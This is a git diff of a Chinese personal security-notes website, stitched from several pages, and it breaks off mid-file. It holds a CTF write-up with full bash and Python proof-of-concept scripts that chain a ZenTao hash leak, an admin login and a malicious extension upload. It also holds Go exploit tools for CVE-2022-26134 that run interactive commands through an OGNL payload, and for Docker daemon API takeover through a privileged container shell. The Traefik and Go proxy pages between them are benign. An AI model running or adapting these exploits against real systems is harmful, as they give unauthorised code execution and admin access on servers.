--proxy "$BURP_PROXY" \
-b "$cj" -c "$cj" \
-H "Referer: $BASE_URL/index.php?m=extension&f=upload" \
-H 'X-Requested-With: XMLHttpRequest' \
-F "files[]=@$work/ctf_flag_ext.zip;filename=ctf_flag_ext.zip" \
"$BASE_URL/index.php?m=extension&f=upload"
echo

echo "[+] Step 7: install extension"
curl -k -sS \
--proxy "$BURP_PROXY" \
-b "$cj" -c "$cj" \
-H "Referer: $BASE_URL/index.php?m=extension&f=install" \
"$BASE_URL/index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no" \
>/dev/null

echo "[+] Step 8: read flag"
curl -k -sS \
--proxy "$BURP_PROXY" \
"$BASE_URL/data/readflag.php"
echo

echo "[+] cookie jar: $cj"
echo "[+] work dir: $work"
+

运行:

+
chmod +x poc.sh
BURP_PROXY='http://127.0.0.1:8080' ./poc.sh 'http://127.0.0.1:18088'
+

Python requests 版​

+
#!/usr/bin/env python3
import hashlib
import os
import re
import shutil
import sys
import tempfile
import zipfile

import requests


BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://127.0.0.1:18088'
BURP_PROXY = os.environ.get('BURP_PROXY', 'http://127.0.0.1:8080')

PROXIES = {
'http': BURP_PROXY,
'https': BURP_PROXY,
}


def md5(data: str) -> str:
return hashlib.md5(data.encode()).hexdigest()


def make_zip(workdir: str) -> str:
root = os.path.join(workdir, 'ctf_flag_ext')
os.makedirs(os.path.join(root, 'doc'), exist_ok=True)
os.makedirs(os.path.join(root, 'www', 'data'), exist_ok=True)

with open(os.path.join(root, 'doc', 'en.yaml'), 'w', encoding='utf-8') as f:
f.write('''code: ctf_flag_ext
name: CTF Flag Extension
version: 1.0
author: ctf
desc: ctf
license: mit
type: extension
zentaoVersion: all
''')

with open(os.path.join(root, 'www', 'data', 'readflag.php'), 'w', encoding='utf-8') as f:
f.write("<?php readfile('/flag');\n")

zip_path = os.path.join(workdir, 'ctf_flag_ext.zip')
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
for dirpath, _, filenames in os.walk(root):
for filename in filenames:
path = os.path.join(dirpath, filename)
arcname = os.path.relpath(path, workdir)
zf.write(path, arcname)
return zip_path


def main():
session = requests.Session()
session.proxies.update(PROXIES)
session.verify = False

print(f'[+] Target: {BASE_URL}')
print(f'[+] Burp proxy: {BURP_PROXY}')

print('[+] Step 1: leak password hash')
leak_url = f'{BASE_URL}/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15'
leak_resp = session.get(leak_url, headers={'X-Requested-With': 'XMLHttpRequest'})
leak_resp.raise_for_status()

hashes = re.findall(r'[a-f0-9]{32}', leak_resp.text)
if not hashes:
raise RuntimeError('no md5 hash found in ajaxGetList response')
leaked_hash = hashes[-1]
print(f'[+] leaked hash: {leaked_hash}')

print('[+] Step 2: get session rand')
rand_resp = session.get(f'{BASE_URL}/index.php?m=user&f=refreshRandom')
rand_resp.raise_for_status()
rand = rand_resp.text.strip()
print(f'[+] rand: {rand}')

print('[+] Step 3: login as admin')
login_password = md5(leaked_hash + rand)
login_url = f'{BASE_URL}/index.php?m=user&f=login&account=admin&password={login_password}&passwordStrength=3'
login_resp = session.get(login_url)
login_resp.raise_for_status()

workdir = tempfile.mkdtemp(prefix='zt-ext-')
try:
print('[+] Step 4: make extension zip')
zip_path = make_zip(workdir)
print(f'[+] zip path: {zip_path}')

print('[+] Step 5: upload extension')
upload_url = f'{BASE_URL}/index.php?m=extension&f=upload'
with open(zip_path, 'rb') as fp:
files = {'files[]': ('ctf_flag_ext.zip', fp, 'application/zip')}
upload_resp = session.post(
upload_url,
files=files,
headers={
'Referer': upload_url,
'X-Requested-With': 'XMLHttpRequest',
},
)
upload_resp.raise_for_status()
print(upload_resp.text)

print('[+] Step 6: install extension')
install_url = (
f'{BASE_URL}/index.php?m=extension&f=install'
'&extension=ctf_flag_ext'
'&downLink='
'&md5='
'&type='
'&overridePackage=no'
'&ignoreCompatible=yes'
'&overrideFile=yes'
'&agreeLicense=yes'
'&upgrade=no'
)
install_resp = session.get(install_url, headers={'Referer': upload_url})
install_resp.raise_for_status()

print('[+] Step 7: read flag')
flag_resp = session.get(f'{BASE_URL}/data/readflag.php')
flag_resp.raise_for_status()
print(flag_resp.text.strip())
finally:
print(f'[+] temp workdir kept at: {workdir}')
# 如需自动删除本地临时目录,可以取消下一行注释。
# shutil.rmtree(workdir)


if __name__ == '__main__':
main()
+

运行:

+
python3 -m pip install requests
BURP_PROXY='http://127.0.0.1:8080' python3 poc.py 'http://127.0.0.1:18088'
+

0x09 Burp 抓包重点​

+

建议重点看这几个包:

+

1. 未授权泄露历史​

+
GET /index.php?m=action&f=ajaxGetList&objectType=user&objectID=15 HTTP/1.1
Host: 127.0.0.1:18088
X-Requested-With: XMLHttpRequest
+

响应里搜索:

+
新值为
+

2. 获取登录随机数​

+
GET /index.php?m=user&f=refreshRandom HTTP/1.1
Host: 127.0.0.1:18088
+

响应体就是 rand,同时会设置或更新 session cookie。

+

3. 哈希重放登录​

+
GET /index.php?m=user&f=login&account=admin&password=<md5(leaked_hash+rand)>&passwordStrength=3 HTTP/1.1
Host: 127.0.0.1:18088
Cookie: zentaosid=<同一个会话>
+

4. 上传插件 ZIP​

+
POST /index.php?m=extension&f=upload HTTP/1.1
Host: 127.0.0.1:18088
Cookie: zentaosid=<已登录会话>
Referer: http://127.0.0.1:18088/index.php?m=extension&f=upload
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----xxx

------xxx
Content-Disposition: form-data; name="files[]"; filename="ctf_flag_ext.zip"
Content-Type: application/zip

<zip bytes>
------xxx--
+

如果没有 Referer,框架会认为 CSRF,清空上传内容,导致上传失败或返回上传页面 HTML。

+

5. 安装插件​

+
GET /index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no HTTP/1.1
Host: 127.0.0.1:18088
Cookie: zentaosid=<已登录会话>
Referer: http://127.0.0.1:18088/index.php?m=extension&f=install
+

6. 读取 flag​

+
GET /data/readflag.php HTTP/1.1
Host: 127.0.0.1:18088
+

响应:

+
flag{12345}
+

0x0a 利用链总结​

+

完整链路如下:

+
action.ajaxGetList 未授权
↓
读取 user:15 操作历史
↓
泄露密码修改后的数据库哈希
↓
refreshRandom 获取 session rand
↓
构造 md5(leaked_hash + rand)
↓
哈希重放登录 admin
↓
后台上传恶意插件 ZIP
↓
插件安装复制 www/data/readflag.php
↓
访问 /data/readflag.php 读取 /flag
+

最终结果:

+
flag{12345}
+

0x0b 清理痕迹​

+

如果是本地 CTF 环境,验证结束后可以清理插件文件:

+
docker exec zendao sh -lc 'rm -f /data/zentao/www/data/readflag.php'
docker exec zendao sh -lc 'rm -rf /data/zentao/extension/pkg/ctf_flag_ext /data/zentao/tmp/extension/ctf_flag_ext.zip'
docker exec mysql8 mysql -uroot -p6722786Dai zentao -e "delete from zt_extension where code=\"ctf_flag_ext\";"
+

比赛环境一般不需要清理;本地复盘建议清理,避免后续误用遗留 webshell。

+ + \ No newline at end of file diff --git a/docs/个人知识库/疑难杂症/k3s/Traefik资源跨命名空间调用/index.html b/docs/个人知识库/疑难杂症/k3s/Traefik资源跨命名空间调用/index.html new file mode 100644 index 0000000..6914d17 --- /dev/null +++ b/docs/个人知识库/疑难杂症/k3s/Traefik资源跨命名空间调用/index.html @@ -0,0 +1,72 @@ + + + + + +Traefik资源跨命名空间调用 | wjlin0 + + + + + + + +

Traefik资源跨命名空间调用

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:23:54
+

前沿​

+

在研究traefik跨命名空间调用资源时,发现有一个非常坑人的点,就是 traefik文档有一个东西叫 跨服务商命名空间(Provider Namespace),这个是什么东西呢,就是如果你在 k3s/k8s中有需要对docker提供商创建的资源进行调用时,你可以开启跨服务商命名空间。还有一个就是Kubernetes自带的命名空间,我们需要操作的就是这个命名空间。

+

这里的namespace: default

+
apiVersion: traefik.io/v1alpha1
kind: IngressRoute
metadata:
name: default
namespace: default # 就是这个字段
spec:
entryPoints:
- websecure # 使用 HTTPS
- web # HTTP
routes:
- match: Host(`www.wjlin0.com`) && PathPrefix(`/`) #
kind: Rule
services:
- name: default
+

利用​

+

如何进行跨命名空间资源调用呢,在traefik文档中提到有个参数allowCrossNamespace,这个参数是控制跨命名空间资源调用,(默认关闭的,不允许跨命名空间资源调用)。

+

这是helm安装,参数所在位置.

+
......
......
......
# -- Define [Startup Probe](https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/#define-startup-probes)
startupProbe: {}

providers: # @schema additionalProperties: false
kubernetesCRD:
# -- Load Kubernetes IngressRoute provider
enabled: true
# -- Allows IngressRoute to reference resources in namespace other than theirs
allowCrossNamespace: true
......
......
+

开启后,配置跨命名空间资源调度,需要遵守以下命名规则。

+
<资源命名空间>-<资源名称>@提供商
+

了解了上诉的操作步骤,我们应该怎么做呢,我接下来给出一个案例;

+

需求时,我将k3s-apiserver的ping目录,通过traefik,导出到外部访问。

+
apiVersion: traefik.io/v1alpha1
kind: IngressRoute
metadata:
name: kubernetes-ping-ingressroute
namespace: default
spec:
entryPoints:
- websecure # 使用 HTTPS
- web # HTTP
routes:
- match: Host(`kube.wjlin0.com`) && PathPrefix(`/ping`)
kind: Rule
services:
- name: kubernetes #
port: 443
scheme: https
+

在上诉配置中我们成功将服务kubernetes导出到外部访问,但是你访问之后会发现,该路由爆500的错误

+
➜  ~ curl https://kube.wjlin0.com/ping
Internal Server Error
➜ ~
+

这是因为kubernetes的证书是自签证书,你需要对该证书进行引用或者忽略。首先我们找到这个证书,它位于服务器的

+
/var/lib/rancher/k3s/server/tls/serving-kube-apiserver.crt
+

然后我们将 证书 base64 转换。

+
base64 -w 0 /var/lib/rancher/k3s/server/tls/serving-kube-apiserver.crt
+

然后通过rootCAsSecrets 引用进来,当然你可以都保存在default,这里是在演示如何跨命名空间调用。

+
apiVersion: traefik.io/v1alpha1
kind: IngressRoute
metadata:
name: kubernetes-ping-ingressroute
namespace: default
spec:
entryPoints:
- websecure # 使用 HTTPS
- web # HTTP
routes:
- match: Host(`kube.wjlin0.com`) && PathPrefix(`/ping`) # 替换为你的域名
kind: Rule
services:
- name: kubernetes # 替换为你的服务名称
port: 443 # 替换为你的服务端口
# strategy: RoundRobin # 负载均衡策略,默认为 RoundRobin
serversTransport: kube-system-kubernetes@kubernetescrd
---
apiVersion: traefik.io/v1alpha1
kind: ServersTransport
metadata:
name: kubernetes
namespace: kube-system
spec:
insecureSkipVerify: false
rootCAsSecrets:
- k3s-serving-kube-apiserver
---
apiVersion: v1
kind: Secret
metadata:
name: k3s-serving-kube-apiserver
namespace: kube-system
data:
ca.crt: ......
+

再次进行命令

+
➜  ~ curl https://kube.wjlin0.com/ping
pong
➜ ~
+

小插曲​

+

⚠️ 小插曲,这里遇到一个问题就是如下.

+

我使用下面的配置 通过 traefik 吧 kubernetes 服务端的 ping 目录导出来,然而 出现了证书错误 500

+
apiVersion: traefik.io/v1alpha1
kind: IngressRoute
metadata:
name: kubernetes-ping-ingressroute
namespace: default
spec:
entryPoints:
- websecure # 使用 HTTPS
- web # HTTP
routes:
- match: Host(`kube.wjlin0.com`) && PathPrefix(`/ping`) # 替换为你的域名
kind: Rule
services:
- name: kubernetes
port: 443 # 替换为你的服务端口
scheme: https
serversTransport: kube-system-kubernetes@kubernetescrd
---
apiVersion: traefik.io/v1alpha1
kind: ServersTransport
metadata:
name: kubernetes
namespace: kube-system
spec:
serverName: kubernetes.default.svc
insecureSkipVerify: false
rootCAsSecrets:
- k3s-serving
certificatesSecrets:
- k3s-serving
+

这是我的错误

+
2024-12-31T19:01:08+08:00 DBG github.com/traefik/traefik/v3/pkg/proxy/httputil/proxy.go:113 > 500 Internal Server Error error="tls: failed to verify certificate: x509: certificate signed by unknown authority"
+

事实上 k3s-serving 这个是 k3s 的 的证书

+
➜  ~ k get secrets -n kube-system k3s-serving -o yaml
apiVersion: v1
data:
tls.crt: ..........
tls.key: .......
kind: Secret
metadata:
.......
.......
.......
name: k3s-serving
namespace: kube-system
type: kubernetes.io/tls
+

我尝试去解决它 ,于是我创建了一个 sercert ,发现它 能够访问了

+
apiVersion: traefik.io/v1alpha1
kind: IngressRoute
metadata:
name: kubernetes-ping-ingressroute
namespace: default
spec:
entryPoints:
- websecure # 使用 HTTPS
- web # HTTP
routes:
- match: Host(`kube.wjlin0.com`) && PathPrefix(`/ping`) # 替换为你的域名
kind: Rule
services:
- name: kubernetes
port: 443 # 替换为你的服务端口
scheme: https
serversTransport: kube-system-kubernetes@kubernetescrd
---
apiVersion: traefik.io/v1alpha1
kind: ServersTransport
metadata:
name: kubernetes
namespace: kube-system
spec:
serverName: kubernetes.default.svc
insecureSkipVerify: false
rootCAsSecrets:
- meta
certificatesSecrets:
- k3s-serving
---
apiVersion: v1
kind: Secret
metadata:
name: meta
namespace: kube-system
data:
ca.crt: ..... # the k3s crt base64
+

我找到一个类似的问题 #7788

+

翻了一下源代码,发现只对ca.crt、tls.ca和一个出现的密钥

+

总结​

+

traefik默认不开启跨命名调用,如果需要,需要在安装时,打开配置allowCrossNamespace为true,并使用命名规则

+
When you declare certain objects in the Traefik dynamic configuration, such as middleware, services, TLS options or server transports, they reside in their provider's namespace. For example, if you declare a middleware using a Docker label, it resides in the Docker provider namespace.

If you use multiple providers and wish to reference such an object declared in another provider (e.g. referencing a cross-provider object like middleware), then the object name should be suffixed by the @ separator, and the provider name.

For the list of the providers names, see the supported providers table below.

<resource-name>@<provider-name>

As Kubernetes also has its own notion of namespace, one should not confuse the provider namespace with the Kubernetes Namespace of a resource when in the context of cross-provider usage.

In this case, since the definition of a Traefik dynamic configuration object is not in Kubernetes, specifying a Kubernetes Namespace when referring to the resource does not make any sense.

On the other hand, if you were to declare a middleware as a Custom Resource in Kubernetes and use the non-CRD Ingress objects, you would have to add the Kubernetes Namespace of the middleware to the annotation like this <middleware-namespace>-<middleware-name>@kubernetescrd.
+

参考​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-简易http代理/index.html b/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-简易http代理/index.html new file mode 100644 index 0000000..022b91c --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-简易http代理/index.html @@ -0,0 +1,56 @@ + + + + + +go-proxy-http | wjlin0 + + + + + + + +

go-proxy-http

+
+

[!Note]

+

项目:go-proxy-http

+
+

知识点​

+

监听端口​

+
+

监听tcp端口

+
+
con, err := net.Listen("tcp", fmt.Sprintf(":%v", port))
if err != nil {
log.Panic(err)
}
+
+

接收回答

+
+
client, err := con.Accept()
if err != nil {
continue
}
+
+

读到接收的数据,传入b byte数组

+
+
var b = make([]byte, max)
_, err := client.Read(b[:])

if err != nil {
return
}
+

Sscanf​

+
+

以空格为分割读取数据

+
+
fmt.Sscanf(string(b[:bytes.IndexByte(b[:], '\n')]), "%v %v %v", &method, &proxyUrl, &httpProtocolVersion)
+

net.Dial​

+
+

建立tcp连接

+
+
server, err := net.Dial("tcp", serverAddress)
+
+

写入报文

+
+
server.Write(b[:])
+
+

将client 写入 server

+
+
go io.Copy(server, client)

+

完整代码​

+
package main

import (
"bytes"
"flag"
"fmt"
"io"
"log"
"net"
"net/url"
"strings"
)

var (
port int
max int
)

func Banner() {

fmt.Println(`
__.__ .__ _______
__ _ __ |__| | |__| ____ \ _ \
\ \/ \/ / | | | | |/ \/ /_\ \
\ / | | |_| | | \ \_/ \
\/\_/\__| |____/__|___| /\_____ /
\______| \/ \/
go-proxy-http `)
}
func Init() {
flag.IntVar(&port, "port", 1024, "端口")
flag.IntVar(&max, "max", 1024, "报文大小")
}
func main() {
Init()
Banner()
flag.Parse()
checkArgs()
log.Printf("代理端口: %v 最大报文大小: %v", port, max)
con, err := net.Listen("tcp", fmt.Sprintf(":%v", port))

if err != nil {
log.Panic(err)
}
for {
client, err := con.Accept()
if err != nil {
continue
}
go handleConnection(client)
}
}

func checkArgs() {
//flag.Usage()
if max < 1024 {
log.Panic("报文大小最好不小于1024个字节")
}
}

func handleConnection(client net.Conn) {
var b = make([]byte, max)
_, err := client.Read(b[:])

if err != nil {
return
}
var method, proxyUrl, httpProtocolVersion, serverAddress string
fmt.Sscanf(string(b[:bytes.IndexByte(b[:], '\n')]), "%v %v %v", &method, &proxyUrl, &httpProtocolVersion)
urlParse, err := url.Parse(proxyUrl)
if err != nil {
return
}

if method == "CONNECT" {
serverAddress = urlParse.Scheme + fmt.Sprintf(":%v", urlParse.Opaque)

} else {
if strings.Index(urlParse.Host, ":") == -1 { //host不带端口, 默认80
serverAddress = urlParse.Host + ":80"
} else {
serverAddress = urlParse.Host
}
}
server, err := net.Dial("tcp", serverAddress)
if err != nil {
return
}
if method == "CONNECT" {
_, err := client.Write([]byte("HTTP/1.1 200 Connection established\r\n\r\n"))
if err != nil {
return
}
} else {
server.Write(b[:])
}
go io.Copy(server, client)
go io.Copy(client, server)
fmt.Printf("%v -> %v\n", client.RemoteAddr(), server.RemoteAddr())
}

+

运行实例​

+

image-20221229005710852

+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-编写POC/GoLang-CVE-2022-26134/index.html b/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-编写POC/GoLang-CVE-2022-26134/index.html new file mode 100644 index 0000000..ca2c42c --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-编写POC/GoLang-CVE-2022-26134/index.html @@ -0,0 +1,88 @@ + + + + + +CVE-2022-26134 | wjlin0 + + + + + + + +

CVE-2022-26134

+
+

[!Note]

+

项目:CVE-2022-26134-wjlin0

+
+

知识点​

+

flag包使用​

+
+

设置参数遍历

+
+
flag.StringVar(&proxy, "proxy", "", "代理")
flag.StringVar(&target, "url", "", "目标")
flag.StringVar(&listUrl, "list", "", "目标列表")
+

文件读写​

+
if listUrl != "" {
fmt.Println("正在打开文件")
filePath := listUrl
file, err := os.Open(filePath)
if err != nil {
fmt.Println("文件打开失败", err)
}
defer file.Close()
//读原来文件的内容,并且显示在终端
reader := bufio.NewScanner(file)
for {
if !reader.Scan() {
break
}
target := reader.Text()
target = strings.TrimSpace(target)
targets = append(targets, urlHandler(target))
}
+

字符串替换​

+
if !strings.HasPrefix(target, "http") {
target = "http://" + target
}
// 有/结尾的就去掉/
if strings.HasSuffix(target, "/") { // 去掉后缀 /
target = strings.TrimSuffix(target, "/")
//fmt.Println(target)
}
+

设置请求代理​

+
if proxy != "" {
url_i := url.URL{}
urlProxy, error := url_i.Parse(proxy)
if error != nil {
fmt.Println(error.Error())
return
}
transport = &http.Transport{Proxy: http.ProxyURL(urlProxy)}
fmt.Println("设置代理: ", proxy, " 成功")
}
+

用户读入​

+
+

利用bufio解决 Scanf、Scan、Scanln不读入空格的问题

+
+
fmt.Print("\n输入命令:")
reader := bufio.NewReader(os.Stdin)
com, _, _ := reader.ReadLine()
if string(com) != "" {
break
}
+

交叉编译​

+

windows编译​

+
+

[!Tip]

+

windows下编译三种系统

+
+
set CGO_ENABLED=0
set GOARCH=amd64
set GOOS=windows
go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_windows.exe
+
set CGO_ENABLED=0
set GOARCH=amd64
set GOOS=linux
go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_linux
+
set CGO_ENABLED=0
set GOARCH=amd64
set GOOS=darwin
go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_darwin
+

linux 编译​

+
+

[!Tip]

+

linux 下编译三种系统

+
+
CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_darwin
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_windows.exe
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_linux
+

Mac编译​

+
+

[!Tip]

+

Mac下编译三种系统

+
+
CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_darwin
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_windows.exe
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o release/CVE-2022-26134_linux
+

代码​

+
package main

import (
"bufio"
"bytes"
"flag"
"fmt"
"io"
"net/http"
"net/url"
"os"
"strings"
)

var target string
var targets []string
var listUrl string
var proxy string
var transport = &http.Transport{}

func Init() {
flag.StringVar(&proxy, "proxy", "", "代理")
flag.StringVar(&target, "url", "", "目标")
flag.StringVar(&listUrl, "list", "", "目标列表")
}
func Banner() {
fmt.Println(`
__.__ .__ _______
__ _ __ |__| | |__| ____ \ _ \
\ \/ \/ / | | | | |/ \/ /_\ \
\ / | | |_| | | \ \_/ \
\/\_/\__| |____/__|___| /\_____ /
\______| \/ \/
CVE-2022-26134`)
}

func urlHandler(target string) string {
if !strings.HasPrefix(target, "http") {
target = "http://" + target
}
// 有/结尾的就去掉/
if strings.HasSuffix(target, "/") { // 去掉后缀 /
target = strings.TrimSuffix(target, "/")
//fmt.Println(target)
}

return target
}

func checkProxy() {
if proxy != "" {
url_i := url.URL{}
urlProxy, error := url_i.Parse(proxy)
if error != nil {
fmt.Println(error.Error())
return
}
transport = &http.Transport{Proxy: http.ProxyURL(urlProxy)}
fmt.Println("设置代理: ", proxy, " 成功")
}
}

func checkArgs() {
if target != "" {
targets = append(targets, urlHandler(target))
}
if listUrl != "" {
filePath := listUrl
file, err := os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE, 066)
if err != nil {
fmt.Println("文件打开失败", err)
}
defer file.Close()
//读原来文件的内容,并且显示在终端
reader := bufio.NewReader(file)
for {
target, err := reader.ReadString('\n')
if err == io.EOF {
break
}
targets = append(targets, urlHandler(target))
}
}
if targets == nil {
//flag.Usage()
os.Exit(0)
}
}
func check(t string) (b bool) {
b = false
vulurl := t + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
req, er := http.NewRequest("GET", vulurl, bytes.NewReader([]byte{}))
if er != nil {
fmt.Println(er)
fmt.Println("请求失败")
return
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0")
client := http.Client{Transport: transport, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }}
resp, er := client.Do(req)
if er != nil {
return
}
status := resp.StatusCode
header := resp.Header.Get("X-Cmd-Response")
if header == "" && status == 302 {
b = false
fmt.Println("目标:", t, "不存在漏洞")
} else {
b = true
fmt.Println("目标:", t, "存在漏洞")
}
return

}
func exp(t string, comm string) {
vulurl := t + `/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22` + comm + `%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/`
req, er := http.NewRequest("GET", vulurl, bytes.NewReader([]byte{}))
if er != nil {
fmt.Println(er)
fmt.Println("请求失败")
return
}
client := http.Client{Transport: transport, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }}
resp, _ := client.Do(req)
res := resp.Header.Get("X-Cmd-Response")
res = strings.TrimSpace(res)
fmt.Print("\n执行结果:\n")
fmt.Printf("%v", res)
}
func main() {
fmt.Println(os.Args)
Banner()
Init()
flag.Parse()
checkArgs()
checkProxy()
var successTargets []string
for _, t := range targets {
b := check(t)
if b {
successTargets = append(successTargets, t)
}
}
if successTargets != nil {
var i int
var t string
var comm string

fmt.Println("选择目标:")
for i, tar := range successTargets {
fmt.Println("目标:", tar, " , ", i)
}
if len(successTargets) == 1 {
t = successTargets[0]
} else {
_, err := fmt.Scanln(&i)
if err != nil {
t = successTargets[0]
}
}

t = successTargets[i]
for {
fmt.Print("\n输入命令:")
reader := bufio.NewReader(os.Stdin)
com, _, _ := reader.ReadLine()
if string(com) == "" {
break
}
comm = strings.Replace(string(com), " ", "%20", -1)
exp(t, comm)
}
} else {
fmt.Println("没有目标存在漏洞")
}

}

+

遇到的问题​

+

go get 遇到的问题​

+
+

[!DANGER]

+

go get 时 可以直接使用 go get -u -v github.com/wjlin0/CVE-2022-26134 就可将二进制文件拉去至$GOPATH/bin/目录下如果设置了全局变量就可直接使用,而不需要 go mod init github.com/wjlin0/CVE-2022-26134 之后再 go get -u -v github.com/wjlin0/CVE-2022-26134 因为他不是一个软件包如下图

+
+

image-20221226014043696

+

bufio.NewReader.ReadString​

+
+

[!DANGER]

+

默认情况下,文件若最后一排没有\n 则reader.ReadString('\n') 会产生一个错误,那么最后一排的数据也正是我们需要的,所以也要再次做一个判断添加

+
+
reader := bufio.NewReader(file)
for {
target, err := reader.ReadString('\n')
if err != nil {
if err == io.EOF {
if target != "" {
targets = append(targets, urlHandler(target))
}
break
}
}
//fmt.Printf("%#v\n", target)
target = strings.TrimSpace(target)
//fmt.Printf("%#v\n", target)
targets = append(targets, urlHandler(target))
}
+

image-20221226125038280

+
+

[!DANGER]

+

在读入时ReadString('\n') ,会将 \n 一块读入,需要用户自行处理 \r\n 或者 \n

+
+

image-20221226124550770

+

go 代理缓存拉取不到最新版本​

+
+

[!DANGER]

+

使用了代理,我的GOPROXY设置为 https://goproxy.cn,direct了,大概率是这个代理自己有缓存,所以我无法获取到更新之后的模块A。

+
+

解决方法就是更改GOPROXY的设置

+
go env -w GOPROXY=https://goproxy.io,direct 
+

运行实例图​

+

image-20221225232018339

+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-编写POC/GoLang-Docker-Daemon-Api-Rce/index.html b/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-编写POC/GoLang-Docker-Daemon-Api-Rce/index.html new file mode 100644 index 0000000..29f15f2 --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go代码案例/GoLang-编写POC/GoLang-Docker-Daemon-Api-Rce/index.html @@ -0,0 +1,35 @@ + + + + + +docker-daemon-api-rce | wjlin0 + + + + + + + +

docker-daemon-api-rce

+
+

[!Note]

+

项目:docker-daemon-api-rce-wjlin0

+
+

知识点​

+

并发​

+
+

利用Goroutine 快速实现大量并发

+
+
c1 := make(chan map[interface{}]interface{}, thread)
for _, t := range targets {
//利用 go 关键字 开启 gorountine
//wg.Add(1)
go check(t, c1)
}
for _, _ = range targets {
// 从通道内取值
b := <-c1
fmt.Printf("%v\n", b)
}
//wg.Wait()
+
func check(t string, ch chan map[interface{}]interface{}) {
fmt.Println("开始检测目标 ", t)
b := func() (b map[interface{}]interface{}) {
b = map[interface{}]interface{}{}
cmd := exec.Command("docker", "-H", t, "ps")
checkSocksProxy(cmd)
//fmt.Println(cmd)
out, err := cmd.CombinedOutput()
if err != nil {
b[t] = false
return b
}
if strings.Contains(string(out), "CONTAINER") && strings.Contains(string(out), "ID") && strings.Contains(string(out), "IMAGE") && strings.Contains(string(out), "COMMAND") && strings.Contains(string(out), "CREATED") {
b[t] = true
return b
} else {
b[t] = true
return b
}
}()
// 将结果传入通道ch中
ch <- b
}
+

命令行交互式输入输出​

+
cmd := exec.Command("docker", "-H", t, "run", "-it", "--rm", "--privileged", "alpine", "/bin/sh")
checkSocksProxy(cmd)
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
err := cmd.Start()
if err != nil {
return
}
err = cmd.Wait()
if err != nil {
fmt.Println("攻击利用失败")
return
}
+

go 给每个cmd设置环境变量​

+
var cmdEnv []string
cmdEnv = append(cmdEnv, "ALL_PROXY="+proxy)
cmd.Env = cmdEnv
+

代码​

+
package main

import (
"bufio"
"flag"
"fmt"
"io"
"os"
"os/exec"
"regexp"
"strings"
)

var target string
var targets []string
var list string
var proxy string
var mod string
var thread int

//var wg sync.WaitGroup

func main() {
Init()
Banner()
flag.Parse()
checkArgs()
checkDocker()
if proxy != "" {
fmt.Println("设置代理: " + proxy)
}
switch mod {
case "check":
c1 := make(chan map[interface{}]interface{}, thread)
for _, t := range targets {
//wg.Add(1)
go check(t, c1)
}
for _, _ = range targets {
b := <-c1
fmt.Printf("%v\n", b)
}
//wg.Wait()
case "exp":
exp()
default:
os.Exit(-1)
}
}

func checkDocker() {
cmd := exec.Command("docker", "--version")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Println("检查Docker是否存在时,出现错误")
panic(err)
}
if !strings.Contains(string(out), "Docker version") {
fmt.Println("docker未启动 或 不存在docker,请检查")
os.Exit(-1)
}
}
func Init() {
flag.StringVar(&target, "target", "", "目标")
flag.StringVar(&list, "list", "", "目标列表")
flag.StringVar(&proxy, "proxy", "", "代理")
flag.IntVar(&thread, "thread", 20, "并发量(仅在check模式下生效)")
flag.StringVar(&mod, "mod", "check", "模式(check|exp)")
}
func Banner() {

fmt.Println(`
__.__ .__ _______
__ _ __ |__| | |__| ____ \ _ \
\ \/ \/ / | | | | |/ \/ /_\ \
\ / | | |_| | | \ \_/ \
